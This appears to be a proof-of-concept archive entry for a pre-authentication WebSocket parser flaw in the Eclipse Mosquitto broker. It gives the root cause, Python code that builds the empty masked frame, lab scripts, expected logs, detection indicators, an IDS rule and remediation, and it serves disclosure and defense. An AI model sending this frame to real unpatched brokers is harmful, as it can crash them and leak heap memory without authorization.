PoC Archive PoC Archive
CVE-2026-110486 category: network CVSS 9.8 (CRITICAL)
Patched

Eclipse Mosquitto Empty WebSocket Frame Parser Desync (CVE-2026-110486)

Published: 2026-11-25 • Researcher: googlesky / Lê Hiếu (PoC and laboratory); Eclipse Mosquitto project (advisory GHSA-6j8m-r32v-4h38)

Target software Eclipse Mosquitto MQTT broker — builtin WebSocket support (lib/net_ws.c, lib/packet_mosq.c)
Affected versions Eclipse Mosquitto 2.1 through 2.1.2; fixed in 2.1.3 (vendor commit 021b063df9e68608a5d58d95031b0073a39d2c90)
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / Researchergooglesky / Lê Hiếu (PoC and laboratory); Eclipse Mosquitto project (advisory GHSA-6j8m-r32v-4h38)
CVE / AdvisoryCVE-2026-110486 (GHSA-6j8m-r32v-4h38)
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
TagsMQTT, Mosquitto, WebSocket, unauthenticated, memory-corruption, uninitialised-memory, out-of-bounds-write, CWE-908, broker
RelatedN/A

Affected Target

FieldValue
Software / SystemEclipse Mosquitto MQTT broker — builtin WebSocket support (lib/net_ws.c, lib/packet_mosq.c)
Versions AffectedEclipse Mosquitto 2.1 through 2.1.2; fixed in 2.1.3 (vendor commit 021b063df9e68608a5d58d95031b0073a39d2c90)
Language / PlatformC; Linux/Unix broker; a listener configured with protocol websockets built against WITH_WEBSOCKETS_BUILTIN=ON
Authentication RequiredNo — the trigger is reachable from the CONNECT packet before any authentication check, including with allow_anonymous false
Network Access RequiredYes — a TCP WebSocket connection to the broker’s websockets listener

Summary

Eclipse Mosquitto 2.1 through 2.1.2 mishandles empty WebSocket data frames on listeners configured with the websockets protocol. The builtin WebSocket frame reader consumes the four masking-key bytes of a zero-length frame and reports them to the MQTT parser as four bytes of application data, without ever writing those bytes to the caller buffer. The MQTT packet reader trusts that count, so the broker advances over uninitialised heap memory while handling the first packet, before authentication, which discloses heap and libc pointers and with a suitable heap layout can underflow the unsigned to-process counter and write past the payload allocation. The result is information disclosure, a remotely triggerable broker crash, and potential remote code execution as the broker user.

Vulnerability Details

Root Cause

net__read_ws() in lib/net_ws.c conflates two different quantities: the number of bytes consumed from the socket (WebSocket framing header plus the four-byte masking key) and the number of payload bytes delivered to the caller. For a data frame with a zero-length payload, the function reads and consumes the masking key, so its local len becomes 4, but it skips the net__read() call and never writes anything into the caller’s buffer. The data-frame branch also leaves len untouched because, unlike control frames, data frames have no out_packet bookkeeping that resets it. packet__read_single() in lib/packet_mosq.c then interprets the returned 4 as four bytes of MQTT packet data. For an empty frame the two values differ by exactly four, so parser state advances over memory the broker never filled. The vendor fix in 2.1.3 introduces a separate mqtt_len value, initialised to -1, and returns -1/EAGAIN for an empty frame after reading the mask.

Attack Vector

Any remote client that can open a WebSocket to a listener configured with protocol websockets performs the standard HTTP Upgrade (GET /mqtt, Sec-WebSocket-Protocol: mqtt) and then sends a single masked data frame with payload length 0 (opcode 0x2, FIN set). No MQTT credentials and no prior packets are required — the desync happens while the broker is still waiting for the first CONNECT packet. In the laboratory the broker zeroes the packet buffer during the handshake, so the phantom read deterministically yields four zero bytes and the vulnerable broker logs First packet not CONNECT (00); with attacker-shaped heap state the same primitive feeds uninitialised heap bytes into CONNECT parsing.

Impact

  • Information disclosure: uninitialised heap memory, including heap and libc pointers, is processed and can be forwarded by the broker.
  • Denial of service: the unsigned to_process counter can underflow, after which subsequent attacker-controlled frame data is written past the end of the allocation; heap corruption crashes the broker even when anonymous access is disabled.
  • Potential code execution: the advisory describes combining the disclosure and the out-of-bounds write to execute code as the broker’s user from any client able to establish a session.

This archived PoC demonstrates the deterministic root cause — the pre-authentication four-byte phantom read and parser desync — and the differential against the fixed 2.1.3 build; it does not include a heap-groomed out-of-bounds-write or RCE chain (see Notes).

Environment / Lab Setup

Output
OS:          Linux x86_64 (host running Podman or Docker)
Target:      mosquitto v2.1.2 built from upstream source with ASan+UBSan
             (image cve-2026-110486:vuln, Debian trixie-slim runtime)
             ws listener :8080, mqtt listener :1883, supervisor :8081
Fix control: mosquitto v2.1.3, same flags/config/supervisor (cve-2026-110486:fixed)
Attacker:    Python 3.12 stdlib-only driver (image cve-2026-110486-poc:local)
Tools:       podman (or docker), python3, cmake/build-essential in the build stage

Setup Steps

Shell script
1
2
3
4
5
6
7
./run-lab.sh build

./run-lab.sh up

./run-lab.sh sweep

./run-lab.sh down

Notes from the upstream lab: ASAN_OPTIONS=detect_leaks=0 is set by the supervisor because LeakSanitizer is incompatible with its process handling, and the build target is build/src/mosquitto rather than build/mosquitto.

Proof of Concept

Step-by-Step Reproduction

  1. Build and start the lab — ./run-lab.sh build && ./run-lab.sh up produces mosq-vuln (2.1.2) and mosq-fixed (2.1.3) on the cve110486lab network.

  2. Open the WebSocket — the PoC sends an HTTP Upgrade to port 8080 with Upgrade: websocket, Sec-WebSocket-Version: 13 and Sec-WebSocket-Protocol: mqtt, and checks for a 101 response (handshake() in poc/poc.py).

  3. Send the empty data frame — a single masked binary frame (opcode 0x2, FIN) with a zero-length payload is written to the socket. The four masking-key bytes are consumed by net__read_ws() but no payload byte is delivered.

  4. Read the broker verdict — the driver restarts the broker and queries the supervisor’s GET /status on port 8081, which returns the broker exit state, sanitizer flag and the last 4000 bytes of broker log.

  5. Check the marker — the vulnerable build logs Protocol error from <ip>:<port>: First packet not CONNECT (00). followed by a protocol-error disconnect. The fixed build ignores the empty frame and keeps the session alive until the client closes.

Shell script
1
2
3
4
5
6
7
python3 poc/poc.py check --host=mosq-vuln

python3 poc/poc.py exploit --host=mosq-vuln

python3 poc/poc.py probe --host=mosq-vuln

python3 exploit/exploit.py --host=mosq-vuln

Against the fixed side use --host=mosq-fixed; the empty frame then produces no phantom command.

Exploit Code

See poc/poc.py for the check/exploit/probe/mitigation driver and exploit/exploit.py for the standalone script. Both build the zero-length frame with the same helper.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def frame(payload, opcode=0x2, fin=True):
    b0 = (0x80 if fin else 0) | opcode
    n = len(payload)
    if n < 126:
        hdr = bytes([b0, 0x80 | n])          # MASK bit set, length 0
    ...
    mask = os.urandom(4)
    return hdr + mask + bytes(c ^ mask[i % 4] for i, c in enumerate(payload))

s.sendall(frame(b""))

The server-side bug, for context (v2.1.2 lib/net_ws.c, approximate line numbers from the upstream write-up):

C source
1
2
3
4
5
6
len = net__read(mosq, buf, count);     // skipped when payloadlen == 0
...
if (mosq->wsd.pos == (ssize_t)mosq->wsd.payloadlen) {  // 0 == 0
    /* data frames have no out_packet, so none of the branches reset len */
}
return len;                            // 4 — but buf is untouched

Expected Output

Output
1
2
3
4
5
6
7
[*] broker version/log after an empty data frame:
    1795068963: mosquitto version 2.1.2 terminating
    1795068964: mosquitto version 2.1.2 starting
    1795068964: mosquitto version 2.1.2 running
    1795068964: Protocol error from 10.89.47.13:59860: First packet not CONNECT (00).
    1795068964: Client 10.89.47.13 [10.89.47.13:59860] disconnected: protocol error.
[+] VULNERABLE — the broker parsed four bytes that were never read from the wire as an MQTT command

Fixed build, same request:

Output
1
2
3
4
5
6
[*] broker version/log after an empty data frame:
    1795068966: mosquitto version 2.1.3 terminating
    1795068966: mosquitto version 2.1.3 starting
    1795068966: mosquitto version 2.1.3 running
    1795068968: Client 10.89.47.14 [10.89.47.14:45162] disconnected: connection closed by client.
[*] target behaves as fixed — empty frame produced no phantom MQTT command

Probe matrix on the vulnerable build:

Output
1
2
3
4
  frame              phantom cmd  note
  empty              True         vulnerable path
  ping               False        control
  data               False        control

Screenshots / Evidence

  • evidence/check-vuln-run.txt — vulnerable 2.1.2 logging First packet not CONNECT (00) after one empty data frame
  • evidence/check-fixed-run.txt — 2.1.3 ignoring the same frame
  • evidence/exploit-standalone-run.txt — standalone script confirming the desync
  • evidence/probe-vuln-run.txt — empty/ping/data control matrix
  • evidence/versions.txt — build and lab preconditions

Detection & Indicators of Compromise

Broker log (the deterministic signal used by this PoC):

Output
1
2
1795068964: Protocol error from 10.89.47.13:59860: First packet not CONNECT (00).
1795068964: Client 10.89.47.13 [10.89.47.13:59860] disconnected: protocol error.

Other indicators:

  • A WebSocket Upgrade to the MQTT endpoint (Sec-WebSocket-Protocol: mqtt) immediately followed by a masked binary frame with payload length 0, then a protocol-error disconnect or a broker crash.
  • ASan/UBSan output in the broker’s stderr: heap-use-of-uninitialised values or heap-buffer-overflow in packet__read_single() / net__read_ws(), followed by a broker restart.
  • Unexplained broker restarts or crashes on hosts that expose a websockets listener, especially repeated from the same source address.
  • If the downstream disclosure is attempted, broker traffic carrying bytes that were never sent by any client (uninitialised heap contents) toward a subscribed client.

IDS rule (illustrative shape — tune to your sensor):

Output
1
2
3
alert tcp any any -> any 8080 (msg:"Mosquitto WS upgrade followed by zero-length MQTT data frame"; \
  flow:to_server,established; content:"Sec-WebSocket-Protocol|3a| mqtt"; nocase; \
  content:"|82 80|"; distance:0; sid:900110486;)

The byte pattern above only matches an unmasked-looking header; because clients mask frames, confirm with broker logs or MQTT-aware parsing rather than relying on the payload bytes alone.

Remediation

ActionDetail
PatchUpgrade Eclipse Mosquitto to 2.1.3 or later, which contains the vendor fix (commit 021b063df9e68608a5d58d95031b0073a39d2c90); the fix returns -1/EAGAIN for an empty frame after reading the mask instead of reporting four payload bytes.
WorkaroundIf upgrading is not immediately possible, disable the builtin WebSocket support (WITH_WEBSOCKETS_BUILTIN=OFF) or remove/restrict protocol websockets listeners to trusted networks; terminate WebSockets in a separate proxy. Note that allow_anonymous false does not prevent the trigger, because the desync occurs before the CONNECT packet is authenticated.
Config HardeningBind WebSocket listeners to a management interface or UNIX socket behind an authenticating reverse proxy, run the broker as an unprivileged dedicated user, apply container/namespace isolation, cap connections per source, monitor broker logs for protocol errors and worker restarts, and keep ASan/UBSan builds in test environments to catch similar regressions.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-110486 on 2026-11-25. Review verdict: this is a real PoC, not a detector — it drives a genuine ASan+UBSan build of the broker over its WebSocket listener, sends the crafted zero-length frame, and proves the pre-authentication parser desync with a differential against the vendor-fixed 2.1.3 build (controls for ping and normal data frames included). Status is PoC rather than Weaponized because the scripts stop at the deterministic primitive: the README explicitly states that the downstream heap out-of-bounds write and RCE depend on attacker-shaped heap state (uninitialised bytes forming a larger MQTT remaining length plus a follow-up frame), and no such heap-grooming chain is shipped. The runner requires the lab supervisor’s GET /status and POST /restart endpoint on port 8081, so the scripts are tied to this laboratory rather than working against an arbitrary broker; only the frame construction and handshake would carry over to a third-party target.

License: MIT (Copyright (c) 2026 Lê Hiếu). The upstream LICENSE and CITATION files were not copied because the entry is limited to exploit-relevant source/config files; attribution is preserved here and in upstream-README.md. Every source and config file needed to rebuild the trigger was copied; the excluded upstream working record (TRACKING.md) and the evidence/ runs not copied are redundant. CVEs/CWEs: NVD lists CWE-191 (integer underflow), CWE-787 (out-of-bounds write) and CWE-908 (use of uninitialised resource), while the upstream README labels the issue CWE-125/CWE-787 — the discrepancy is in the public records, not in the PoC. CVSS 9.8 with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H was confirmed against the NVD 2.0 API record. No exploit code was executed during ingestion. Run only against brokers you own or are explicitly authorized to test.

run-lab.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env bash
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-110486 (see README for attribution/license)
set -euo pipefail
NET="cve110486lab"
HERE="$(cd "$(dirname "$0")" && pwd)"
build() {
    sudo -n podman build -q -f "$HERE/lab/lab.Dockerfile" --build-arg MOSQ_TAG=v2.1.2 -t cve-2026-110486:vuln "$HERE/lab" >/dev/null
    sudo -n podman build -q -f "$HERE/lab/lab.Dockerfile" --build-arg MOSQ_TAG=v2.1.3 -t cve-2026-110486:fixed "$HERE/lab" >/dev/null
    sudo -n podman build -q -t cve-2026-110486-poc:local "$HERE/poc" >/dev/null
}
up() {
    sudo -n podman network create "$NET" 2>/dev/null || true
    for side in vuln fixed; do
        sudo -n podman run -d --name "mosq-$side" --network "$NET" --cpus 2 --memory 2g "cve-2026-110486:$side" >/dev/null
    done
}
sweep() {
    for mode in check exploit probe mitigation; do
        for side in vuln fixed; do
            echo "================ $mode / mosq-$side ================"
            set +e
            sudo -n podman run --rm --network "$NET" --cpus 1 --memory 512m \
                cve-2026-110486-poc:local "$mode" "--host=mosq-$side" \
                | tee "$HERE/evidence/${mode}-${side}-run.txt"
            echo "exit: $?"
            set -e
        done
    done
}
down() {
    sudo -n podman rm -f mosq-vuln mosq-fixed 2>/dev/null || true
    sudo -n podman network rm "$NET" 2>/dev/null || true
}
case "${1:-}" in
    build) build ;; up) up ;; sweep) mkdir -p "$HERE/evidence"; sweep ;; down) down ;;
    *) echo "usage: $0 build|up|sweep|down"; exit 2 ;;
esac